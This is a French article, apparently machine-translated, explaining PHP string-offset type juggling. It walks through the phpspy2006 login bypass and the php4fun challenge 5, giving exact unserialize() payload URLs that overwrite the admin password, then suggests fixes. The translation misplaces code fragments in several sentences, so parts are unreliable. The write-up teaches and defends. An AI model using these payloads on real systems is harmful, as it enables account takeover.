Maison  >  Article  >  développement back-end  >  Explication détaillée des résultats du contournement de la vulnérabilité due aux caractères décalés en PHP

Explication détaillée des résultats du contournement de la vulnérabilité due aux caractères décalés en PHP

巴扎黑
巴扎黑original
2017-08-11 13:33:561192parcourir

Cet article vous présente principalement les informations pertinentes sur la vulnérabilité de contournement causée par la fonctionnalité de décalage de caractères dans PHP. L'article présente non seulement la formation de la vulnérabilité en détail, mais, plus important encore, présente la méthode de réparation, qui est de. certaine signification pour tout le monde. Pour une valeur d'apprentissage de référence, les amis qui en ont besoin peuvent jeter un œil ci-dessous.

Fonctionnalité de décalage de caractères en php

Il existe une fonctionnalité très intéressante dans les chaînes en php. Les chaînes en php peuvent aussi être comme des valeurs. sont obtenus de la même manière qu'un tableau.


$test = "hello world";
echo $test[0];

Le résultat final est h.

Cependant, la fonctionnalité ci-dessus a parfois des effets inattendus. Regardez le code suivant


$mystr = "hello world";
echo $mystr["pass"];

La sortie du code ci-dessus Le résultat. est h. Pourquoi est-ce ? En fait, c'est très simple, comme beaucoup d'autres langages, les chaînes en PHP peuvent utiliser des indices pour obtenir des valeurs, tout comme les tableaux. La passe dans $mystr["pass"] sera implicitement convertie en 0, de sorte que le résultat de sortie de $mystr[0] soit la lettre initiale h
De même, si vous essayez le code suivant :


<.>

$mystr = "hello world";
echo $mystr["1pass"];
Le résultat de sortie est e. Parce que 1pass sera converti en 1 par type implicite, le résultat de sortie de

est la deuxième lettre e.$mystr[1]

Caractéristiques du personnage La vulnérabilité provoquée

Le code suivant est utilisé dans phpspy2006 pour déterminer le code utilisé lors de la connexion.


$admin[&#39;check&#39;] = "1";
$admin[&#39;pass&#39;] = "angel";
......
if($admin[&#39;check&#39;] == "1") {
....
}
Une telle logique de vérification peut être facilement contournée si les fonctionnalités ci-dessus sont utilisées. $admin n'est pas initialement défini comme un type de tableau, donc lorsque nous le soumettons avec une chaîne

, PHP prendra le premier bit de la chaîne 1xxx, contournant avec succès le jugement conditionnel if. phpsyp.php?admin=1abc

Le code ci-dessus est un fragment de code, et le code suivant est un code logique complet, qui vient de la question 5 de php4fun, ce qui est assez intéressant.


<?php
# GOAL: overwrite password for admin (id=1)
#  Try to login as admin
# $yourInfo=array( //this is your user data in the db
# &#39;id&#39; => 8,
# &#39;name&#39; => &#39;jimbo18714&#39;,
# &#39;pass&#39; => &#39;MAYBECHANGED&#39;,
# &#39;level&#39; => 1
# );
require &#39;db.inc.php&#39;;

function mres($str)
{
 return mysql_real_escape_string($str);
}

$userInfo = @unserialize($_GET[&#39;userInfo&#39;]);

$query = &#39;SELECT * FROM users WHERE id = \&#39;&#39; . mres($userInfo[&#39;id&#39;]) . &#39;\&#39; AND pass = \&#39;&#39; . mres($userInfo[&#39;pass&#39;]) . &#39;\&#39;;&#39;;

$result = mysql_query($query);
if (!$result || mysql_num_rows($result) < 1) {
 die(&#39;Invalid password!&#39;);
}

$row = mysql_fetch_assoc($result);
foreach ($row as $key => $value) {
 $userInfo[$key] = $value;
}

$oldPass = @$_GET[&#39;oldPass&#39;];
$newPass = @$_GET[&#39;newPass&#39;];
if ($oldPass == $userInfo[&#39;pass&#39;]) {
 $userInfo[&#39;pass&#39;] = $newPass;
 $query = &#39;UPDATE users SET pass = \&#39;&#39; . mres($newPass) . &#39;\&#39; WHERE id = \&#39;&#39; . mres($userInfo[&#39;id&#39;]) . &#39;\&#39;;&#39;;
 mysql_query($query);
 echo &#39;Password Changed.&#39;;
} else {
 echo &#39;Invalid old password entered.&#39;;
}
En ligne ne donne qu'une réponse définitive à cette question, et les principes ne sont pas expliqués ou pas expliqués en détail. En fait, le principe réside dans les caractéristiques de caractère de PHP mentionnées ci-dessus.


L'exigence de la question est très simple, qui consiste à changer le mot de passe de l'administrateur. L'identifiant de l'administrateur est 1. Nous devons réfléchir aux questions suivantes :

  • Comment changer l'identifiant en 1 lors de la mise à jour

  • Qu'est-ce qu'il y a dedans ligne de code Fonction, pourquoi ce type de code existe-t-il dans l'instruction de jugement if $userInfo['pass'] = $newPass;

Après avoir résolu ces deux problèmes, la solution finale est également disponible. Changez le mot de passe de l'utilisateur avec l'ID 8 en 8, puis transmettez une chaîne userInfo '8' pour briser la protection des requêtes, et enfin utilisez

pour changer l'ID en 1. $userInfo['pass'] = $newPass

La charge utile finale est :


La première soumission,

, consiste à changer le mot de passe de l'utilisateur avec l'identifiant 8 en 8index.php?userInfo=a:2:{s:2:"id";i:8;s:4:"pass";s:12:"MAYBECHANGED";}&oldPass=MAYBECHANGED&newPass=8

La deuxième soumission,

, sérialise $userInfo et obtient la chaîne « 8 », qui est index.php?userInfo=s:1:"8";&oldPass=8&newPass=1, afin que la vérification de la requête de base de données puisse réussir. La vérification if ultérieure peut également passer, par cette ligne de code $userInfo = ‘8' , puisque la valeur de $newpass est 1, alors le code ci-dessus devient $userInfo['pass'] = $newPass;, $userInfo['pass'] = 1; en raison d'un type de chaîne, le résultat final est $userInfo, Enfin, vous pouvez mettre à jour le mot de passe de l'utilisateur avec l'identifiant 1. $userInfo='1'

Méthode de réparation

La méthode de réparation de ce type de vulnérabilité est également très simple. Définissez le type de données à l'avance et vérifiez tout avant utilisation. it. Si le type de données utilisé est cohérent avec celui attendu. Sinon, les problèmes de contournement mentionnés ci-dessus se produiront. Dans le même temps, les entrées doivent être contrôlées et les données d'entrée doivent être vérifiées et non utilisées avec désinvolture.

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn